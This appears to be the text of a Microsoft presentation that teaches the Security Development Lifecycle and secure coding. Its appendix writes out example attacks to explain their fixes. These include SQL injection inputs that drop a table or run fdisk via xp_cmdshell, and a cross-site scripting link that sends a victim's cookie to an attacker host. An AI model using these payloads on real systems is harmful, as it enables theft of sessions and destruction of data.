Security Best Practices
Clint EdmonsonArchitect EvangelistMicrosoft [email protected]
Agenda
Microsoft Security Development Lifecycle
Secure Design Principles Clint’s Dirty Dozen
Training Requirem-ents Design Implemen
-tationVerificatio
n Release Response
Microsoft Security Development Lifecycle (SDL)
Executive commitment SDL a mandatory policy at Microsoft since 2004
Technology and ProcessEducation Accountability
Ongoing Process Improvements 6 month cycle
SDL Product Development Timeline
Secure questionsduring interviews
Concept DesignsComplete
Test plansComplete
CodeComplete
Ship PostShip
Threatanalysis
SWIReview
Team membertraining Data mutation
& Least PrivTests
Security sign-offcriteria determined
Review old defects Check-ins checkedSecure coding guidelinesUse tools
Security auditLearn & RefineExternal
review
Security push
SDL Activities
SDL Maturity Levels
SDL Secure Design Principles
Core SDL secure design principles: Attack Surface Reduction Basic Privacy Threat Modeling Defense in Depth Least Privilege Secure Defaults
SDL Core Principle: Attack Surface Reduction
Attack Surface: Any part of an application that is accessible by a human or another program Each one of these can be potentially
exploited by a malicious user
Attack Surface Reduction: Minimize the number of exposed attack surface points a malicious user can discover and attempt to exploit
Attack Surface Example
Attack Surface Analysis
Network inputs/outputs
File inputs/ outputs
Etc.
Step 1: Look at Your Entry Points
Step 2: Rank Your
Entry Points
• Authenticated or non-authenticated
• Administrative or user-level access
• Network or local• UDP or TCP• Etc.
Attack Surface Analysis Tips
Iterative process, for all features you need to also analyze their sub-features
Restrict access to features as much as possible
File Format
.gif
.tiff
.jpg
Protocols
SSLv2
SSLv3
TLS
PCTS
HTTP Verbs
Classic• GET, POST, HEAD,
OPTIONS, TRACE
WebDav• PROPPATCH,
PROPFIND, DELETE, MOVE, LOCK
SMTP
HELO
EHLO
RCPT
It’s Not Just About Turning Things Off
Higher Attack Surface Lower Attack SurfaceOn by default Off by default
Open socket Closed socket
UDP TCP
Anonymous access Authenticated user access
Constantly on On as needed
Administrative access User access
Internet accessible Local subnet accessible
Running as SYSTEM Running as user, network service or local service account
Uniform defaults User defined settings
Large code Small code
Weak access controls Strong access controls
Attack Surface Reduction Examples
Microsoft Product Attack Surface ReductionWindows • Firewall on by default
• Authenticated Remote Procedure Call (RPC)
Internet Information Services 6.0 and 7.0
• Off by default• Running as network service by default• Static files by default
SQL Server 2005 and 2008 • xp_cmdshell stored procedure off by default• CLR and COM off by default• Remote connections off by default
Visual Studio 2005 and 2008 • Web server localhost only• SQL Server Express localhost only
SDL Core Principle: Basic Privacy Security versus Privacy
Security: Establishing protective measures that defend against hostile acts or influences and protects the confidentiality of personal information
Privacy: Empowering users to control the use, collection and distribution of their personal information
Security AND Privacy together are key factors to trustworthy computing
Security Privacy
Important Note: Security Does Not Always Guarantee Privacy
It is possible to have a secure system that does not preserve
users’ privacy.
Authentication vs. Authorization
Verify who areVerify what they
can access
Understanding Privacy Behaviors and Concerns
Application Behavior Privacy ConcernTarget children Children Online Privacy Protection
Act (COPPA)
Transfer sensitive PII Gramm-Leach-Bliley Act (GLBA), Health Insurance Portability and Accountability Act (HIPAA)
Transfer non-sensitive PII European Union (EU) or Federal Trade Commission (FTC)
Modify system Computer Fraud and Abuse Act (CFAA)
Continuous monitoring Anti-Spyware Legislation, Deployment Blocker
Anonymous transfer Deployment Blocker
Microsoft Privacy Guidelines for Developing Products and Services
Documented requirements and recommendations for privacy-compliant products and services
Available online for download
Microsoft customers will be empowered to control the collection, use, and distribution of their personal information
SDL Core Principle: Threat Modeling
Threat Modeling: A process to understand threats to an application
Threats and vulnerabilities Threats: Actions a malicious user may
attempt in order to compromise a system Vulnerabilities: A specific way a threat is
exploitable, such as a coding error
ProductDevelopment
Threat Modeling In a Nutshell
Model
Identify Threats
Mitigate
Validate
Vision
Microsoft Threat Modeling Tool
Microsoft has published the threat modeling tool and it uses internally to assess threats against products and services
Freely available online for download
SDL Core Principle: Defense In Depth
Defense in Depth: If one defense layer is breached, what other defense layers (if any) provide additional protection to the application?
Assume that software and/or hardware will fail at some point
Most applications today can be compromised when a single, and often only, layer of defense is breached (firewall)
Defense in Depth Example
Defense Hotspots
Source: http://shapingsoftware.com/2009/03/09/security-hot-spots/
SDL Core Principle: Least Privilege
Assume that all applications can and will be compromised
Least Privilege: If an application is compromised, then the potential damage that the malicious person can inflict is contained and minimized accordingly
Least Privilege Example
LOCAL SYSTEMNON-ADMIN
ADMIN / SYSTEM LEVEL
• Read user files• Change system
passwords• Download malicious
files• Anything
NON-ADMIN• Read user files• Change system
passwords• Download malicious
files• Limited capabilities
Least Privilege Tips
Evaluate your application and think minimally!
What is the minimum access level your application requires to perform its functions?
Elevate privileges only when needed, and then release those elevated privileges when their purposes have been satisfied
SDL Core Principle: Secure Defaults
Secure Defaults: Deploy applications in more secure configurations by default.
Helps to better ensure that customers get safer experience with your application out of the box, not after extensive configuration
It is up to the user to reduce security and privacy levels
Secure Defaults Examples
Application Component Secure Defaults Principle
Firewall Firewall ON by default
SSL Socket Requires last latest SSL version (v3, TLS, etc.) by default
User can access application anonymous or authenticated
Application requires authenticated user sessions by default
Password complexity can be enforced
Password complexity is required by default
Store user passwords (hashes vs. clear text)
Store user passwords as hashes by default
Clint’s Dirty Dozen
1. Client-side enforcement of server-side security
2. Improper input validation
3. Clear transmission of sensitive information
4. Failure to preserve SQL query integrity
5. Cross-site request forgery (HTML output integrity)
6. Error message information leak
Clint’s Dirty Dozen
7. File or path name leaking
8. Critical state data exposure
9. Improper access control (authorization)
10. Use of broken or risky cryptography algorithms
11. Hard-coded passwords
12. Execution with unnecessary privileges
13. Failure to constrain operations within memory buffers (buffer overrun)(a concern in unmanaged languages)
Conclusion Safer applications begin with secure
planning and design
SDL Core principles: Attack Surface Reduction Basic Privacy Threat Modeling Defense in Depth Least Privilege Secure Defaults
Questions?
More Info
Microsoft Security Development Lifecycle (SDL)
Official SDL Web Site: http://www.microsoft.com/sdl
SDL Book:http://www.microsoft.com/mspress/books/8753.aspx
Threat Modeling Resources
Threat Modeling Book:http://www.microsoft.com/mspress/books/6892.aspx
Threat Modeling Tool:http://www.microsoft.com/downloads/details.aspx?FamilyID=62830f95-0e61-4f87-88a6-e7c663444ac1&displaylang=en
Microsoft Developer Network (MSDN) Security Developer Center
Official Web site: http://msdn.microsoft.com/security
Secure Development Blogs The Microsoft Security Development Lifecycle
(SDL) Blog: http://blogs.msdn.com/sdl
Michael Howard’s Blog: http://blogs.msdn.com/michael_howard
J.D. Meier’s Security Hotspots: http://shapingsoftware.com/2009/03/09/security-hot-spots
SANS Institute Top 25 Most Dangerous Programming Errors: http://www.sans.org/top25errors
Clint EdmonsonArchitect EvangelistMicrosoft [email protected]
Slides available at:http://www.notsotrivial.net/slides
© 2002 Microsoft Corporation. All rights reserved.This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.
Appendix
Secure Design Tenets
Reduce Attack Surface Defense in Depth Least Privilege Secure Defaults
Learn from Past Mistakes Security is a Feature Provide Application Diversity
Reducing Attack Surface
Less code running by default = less stuff to whack by default Slammer/CodeRed would not have
happened if the features were not on by default
ILoveYou (etc.) would not have happened if scripting was off
Requires less admin skill Reduces the urgency to deploy
security fixes Usability often means “automatically”
Input Trust Issues “All input is evil, until proven otherwise!”
The root of most vulnerabilities Buffer Overruns Canonicalization issues Cross-site Scripting (XSS) attacks SQL Injection attacks
Good guys give you well-formed data, bad guys don’t!
Don’t rely on your client application providing clean data Don’t assume attackers play by the rules They go ‘under the radar’
Buffer Overruns Been around forever Primarily a C/C++ issue
Programming close to the metal! Prime example of Sloppy
Programming! Aim is to change the flow of execution
so attacker’s code is called Lack of diversity helps the attacker Chapter 5
Buffer Overruns at Work
Higher addresses
Buffers Other vars
EB
P
EIP Args
void foo(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[16];}
Buffer Overruns at Work
Higher addresses
Buffers Other vars
EB
P
EIP Args
Function return address
Exception handlers
Function pointersVirtual methods
All determineexecution flow
0wn3d!
Buffer Overrun Results
If you’re lucky, you get an AV Denial of Service against servers
If you’re unlucky, you get instability Best of luck debugging that one!
If you’re really unlucky, the attacker injects code into your process And executes it
Buffer Overrun ExamplesIndex Server ISAPI Application (CodeRed)
// cchAttribute is char count of user input
WCHAR wcsAttribute[200];if ( cchAttribute >= sizeof wcsAttribute) THROW( CException( DB_E_ERRORSINCOMMAND ) );
DecodeURLEscapes( (BYTE *) pszAttribute, cchAttribute, wcsAttribute,webServer.CodePage());
...void DecodeURLEscapes( BYTE * pIn, ULONG & l,
WCHAR * pOut, ULONG ulCodePage ) { WCHAR * p2 = pOut; ULONG l2 = l;
... for( ; l2; l2-- ) {
// write to p2 based on pIn, up to l2 bytes
Buffer Overrun ExamplesIndex Server ISAPI Application (CodeRed)
// cchAttribute is char count of user input
WCHAR wcsAttribute[200];if ( cchAttribute >= sizeof wcsAttribute / sizeof WCHAR) THROW( CException( DB_E_ERRORSINCOMMAND ) );
DecodeURLEscapes( (BYTE *) pszAttribute, cchAttribute, wcsAttribute,webServer.CodePage());
...void DecodeURLEscapes( BYTE * pIn, ULONG & l,
WCHAR * pOut, ULONG ulCodePage ) { WCHAR * p2 = pOut; ULONG l2 = l;
... for( ; l2; l2-- ) {
// write to p2 based on pIn, up to l2 bytes
FIXED!
Using strncpy Naïve use of strncpy is no fix
May not null-terminate the string Shell version, StrCpyN and
Windows lstrcpy do, however Performance issues Third arg sizeof mix-ups
Off-by-one errors Total size of destination buffer
Consider strsafe.h/ntstrsafe.h In Platform SDK, MSDN and VS.NET
2003
The VC++ /GS Flag
A VC++.NET compile-time option that adds run-time code to certain functions Unmanaged C/C++ A random value called a ‘cookie’ inserted into
stack Validates various stack data is not corrupt Most of Windows Server 2003 and VS.NET
is compiled with this option WindowsXP SP2
Minimal perf hit – 4 instructions!
What /GS is NOT
A Panacea A cure for lazy developers!
Crap code + /GS == crap code! Only catches some stack-smashing
attacks No heap protection
It’s an insurance policy
Fixing Buffer Overruns
Trace data coming in from the ‘outside’ Watch for data as it moves from untrusted to trusted
boundaries Build approp test plans using data mutation
Be wary of certain functions strcpy, CopyMemory, MultiByteToWideChar sprintf(…,”%s”,…) Refer to Writing Secure Code 2nd Edition for list API which use byte vs. char counts No such thing as ‘bad functions’ only ‘bad developers’ Not limited to copy functions
Compile with /GS Windows Server 2003 on AMD Opteron™ adds
/noexecute boot option
Canonicalization Issues
Never make a decision based on the name of a file Chances are good that you’ll get it wrong Often, there is more than one way to
name something
The Same File!
MySecretFile.txt MySecretFile.txt. MySecr~1.txt MySecretFile.txt::$DATA
The Same URL!
http://www.foo.com http://www%2efoo%2ecom http://www%252efoo%2ecom http://172.43.122.12 http://2888530444
The Turkish-I problem(Applies also to Azerbaijan!)
Turkish has four letter ‘I’s i (U+0069) ı (U+0131) İ (U+0130) I (U+0049)
In Turkish locale UC("file")==FİLE
// Do not allow "FILE://" URLsif(url.ToUpper().Left(4) == "FILE") return ERROR;getStuff(url);
// Only allow "HTTP://" URLsif(url.ToUpper(CULTURE_INVARIANT).Left(4) == "HTTP") getStuff(url);else return ERROR;
İ
SQL Injection – C#string Status = "No";string sqlstring ="";try { SqlConnection sql= new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM detail WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes";} catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; }} catch (Exception e) { Status = e.ToString();}
Why It’s Wrong(1 of 2)
Good Guy
ID: 1001SELECT HasShippedFROM detail WHERE ID='1001'
Not so Good Guy
ID: 1001' or 1=1 --SELECT HasShippedFROM detail WHERE ID= '1001' or 1=1 -- '
Why It’s Wrong(2 of 2)
Really Bad Guy
ID: 1001‘; drop table orders --SELECT HasShipped FROM detailWHERE ID= '1001‘; drop table orders -- '
Downright Evil Guy
ID: 1001’; exec xp_cmdshell(‘fdisk.exe’) --SELECT HasShipped FROM detailWHERE ID= ‘1001’; exec xp_cmdshell('fdisk.exe') -- '
Cross Site Scripting
Very common vulnerability The Nov01 Passport issue was CSS A flaw in a server that leads to
compromise in a client The fault is simply echoing user input!
And trusting user input!
CSS In Action
Welcome.aspHello,<%= request.querystring(‘name’)%>
Owns badsite.com
CSS In Action
<a href= http://www.insecuresite.com/welcome.asp?name= <FORM action=http://www.badsite.com/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT>>here</a>
Input Remedies All input is evil until proven otherwise Require authenticated connections Sanitize all input
Look for valid data Reject everything else High-level languages can use RegExp
SSN = ^\d{3}-\d{2}-\d{4}$ Make no assumptions about the trustworthiness of
data Never directly echo Web-based user input
Verify input, then echo it At the very least, HTML or URL encode the output ASP.NET adds the ValidateRequest option
Use SQL parameterized queries
Storing Secrets
Storing secrets securely in software is impossible!…But you can raise the bar!
Embedded ‘secrets’ don’t stay secretfor long
Storing Secrets DPAPI is the recommended method Crypt[Un]ProtectData Requires Windows 2000 and later Preferable to LSA secrets
Easy! You store the encrypted secret
You can back the data up DPAPI provides integrity check No need to run as admin
Account that encrypts the data, decrypts the data
Storing Secrets in Memory
Process1. Acquire data2. Encrypt it 3. Decrypt it4. Use it5. Scrub it
Functions Crypt[Un]ProtectMemory
Requires Windows Server 2003 and later
Rtl[En|De]cryptMemory Now in PlatformSDK
SecureZeroMemory
Cryptmem.cpp
A Related Issue –“Encraption”
XOR is not your friend! Don’t roll your own
Use CryptoAPI Use System.Security.Cryptography
Evaluate usage Are algorithms appropriate? Document all uses of crypto
const TCHAR szDecrypt[] = TEXT("susageP");
// Decrypt the passworddwSize = (dwSize/sizeof(TCHAR)) - 1;for (dwType = 0; dwType < dwSize; dwType++) { lpRasDialParams->szPassword[dwType] ^= szDecrypt[dwType % 7];
The Threat Modeling Process
Create an application model Use UML or DFD
Categorize threats by using STRIDE Create a threat tree Rank threats by using DREAD
Categorize Threats Using STRIDE
Types of threats Examples
Spoofing Forge e-mail messages Replay authentication packets
Tampering Alter data during transmission Change data in files
Repudiation Delete a critical file and deny it Purchase a product and deny it
Information disclosure
Expose information in error messages Expose code on Web sites
Denial of service Flood a network with SYN packets Flood a network with forged ICMP packets
Elevation of privilege
Exploit buffer overruns to gain system privilegesObtain administrator privileges illegitimately
STRIDE STRIDE
STRIDE
Parse RequestThreat (Goal)
Threat (Goal)
Threat (Goal)
ThreatThreat ThreatThreat ThreatThreat
ConditionCondition
DREAD
DREAD
ConditionCondition ConditionCondition
Sub-threatSub-threat
Key
Threat (Goal)
Sub-threatSub-threat
ConditionCondition
Create Threat Tree
Rank Threats Using DREAD Damage potential Reproducibility Exploitability Affected users Discoverability
Best PracticesTest Security Involve test teams in projects at the beginning Explicitly test security, not just features Know your enemy and know yourself
What techniques and technologies will hackers use?
What techniques and technologies can testers use?
Use threat modeling to develop security testing strategy
Analyze and prioritize test strategies Attack!!!!
Best PracticesTest Security Think Evil. Be Evil. Test Evil.
Automate attacks with scripts and low-level programming languages
Submit a variety of invalid data Delete or deny access to files or registry
entries Test with an account that is not an
administrator account Perform code reviews
Start Right Away It’s true that if you have 1000 or more developers,
you’ll probably want to eventually work your way up to the Dynamic level of the Optimization Model (where we see ourselves), but the 5-person PHP shop could greatly benefit from implementing the SDL at the Standardized level.
At the Standardized level, you perform high-ROI security activities such as validating input and encoding output to defend against cross-site scripting attacks, using stored procedures to defend against SQL injection attacks, and fuzzing your application inputs to find unknown errors. These all sound pretty applicable to a 5-person PHP shop to me!